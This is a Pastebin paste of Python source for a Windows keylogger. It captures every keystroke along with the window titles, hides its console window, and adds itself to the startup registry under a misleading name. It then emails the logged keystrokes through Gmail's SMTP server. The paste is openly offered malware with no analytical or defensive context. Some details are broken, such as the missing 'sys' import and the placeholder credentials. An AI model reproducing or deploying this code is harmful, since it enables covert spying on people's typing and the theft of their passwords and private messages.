Advertisement
Guest User

Untitled

a guest
Oct 20th, 2017
362
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 2.34 KB | None | 0 0
  1. import os
  2. import pyHook
  3. import pythoncom
  4. import smtplib
  5. from _winreg import *
  6. from win32console import GetConsoleWindow
  7. from win32gui import ShowWindow
  8.  
  9. keyData = ''
  10. WinTitle = ""
  11.  
  12.  
  13. def send_email(keys):
  14. fromaddr = 'todo@gmail.com' #todo: add mail addresses
  15. toaddrs = 'user_you@gmail.com'
  16. msg = keys
  17. username = 'user_me@gmail.com'
  18. password = 'pwd'
  19. server = smtplib.SMTP('smtp.gmail.com:587')
  20. server.ehlo()
  21. server.starttls()
  22. server.login(username, password)
  23. server.sendmail(fromaddr, toaddrs, msg)
  24. server.quit()
  25.  
  26.  
  27.  
  28. def keypressed(event):
  29. global keyData, WinTitle
  30. keys = ""
  31. wintitlestring = ""
  32. if WinTitle != event.WindowName:
  33. WinTitle = event.WindowName
  34. wintitlestring = "\n Window: %s \n" % WinTitle
  35.  
  36. try:
  37. keyfile = open("keys.txt", "r")
  38. keyData = keyfile.read()
  39. keyfile.close()
  40. except:
  41. pass
  42. if event.Ascii == 13:
  43. keys = '\n'
  44. elif event.Ascii == 8:
  45. keys = '<BACK SPACE>'
  46. elif event.Ascii == 9:
  47. keys = '<TAB>'
  48. elif event.Ascii == 19:
  49. keys = '<CTRL-S>'
  50. elif event.Ascii == 24:
  51. keys = '<CTRL-X>'
  52. elif event.Ascii == 22:
  53. keys = '<CTRL-V>'
  54. elif event.Ascii == 3:
  55. keys = '<CTRL-C>'
  56. elif event.Ascii == 26:
  57. keys = '<CTRL-Z>'
  58. elif event.Ascii == 0:
  59. if event.Key not in ("Lshift", "Rshift", "Lmenu", "Rmenu", "Lcontrol", "Rcontrol"):
  60. keys = "<%s>" % event.Key
  61. else:
  62. keys = chr(event.Ascii)
  63.  
  64. if wintitlestring != "":
  65. keyData += wintitlestring
  66. keyData += keys
  67. if len(keyData) == 2000:
  68. send_email(keyData)
  69. keyData = ""
  70. return True
  71.  
  72. def hide():
  73. window = GetConsoleWindow()
  74. ShowWindow(window, 0)
  75. return True
  76.  
  77.  
  78. def add_to_startup():
  79. fp = os.path.dirname(os.path.realpath(__file__))
  80. file_name = sys.argv[0].split("\\")[-1]
  81. new_file_path = fp + "\\" + file_name
  82. keyVal = r'Software\Microsoft\Windows\CurrentVersion\Run'
  83. key2change = OpenKey(HKEY_CURRENT_USER,
  84. keyVal, 0, KEY_ALL_ACCESS)
  85.  
  86. SetValueEx(key2change, "win32wig", 0, REG_SZ, new_file_path)
  87.  
  88.  
  89. hide()
  90. add_to_startup()
  91. obj = pyHook.HookManager()
  92. obj.KeyDown = keypressed
  93. obj.HookKeyboard()
  94. pythoncom.PumpMessages()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement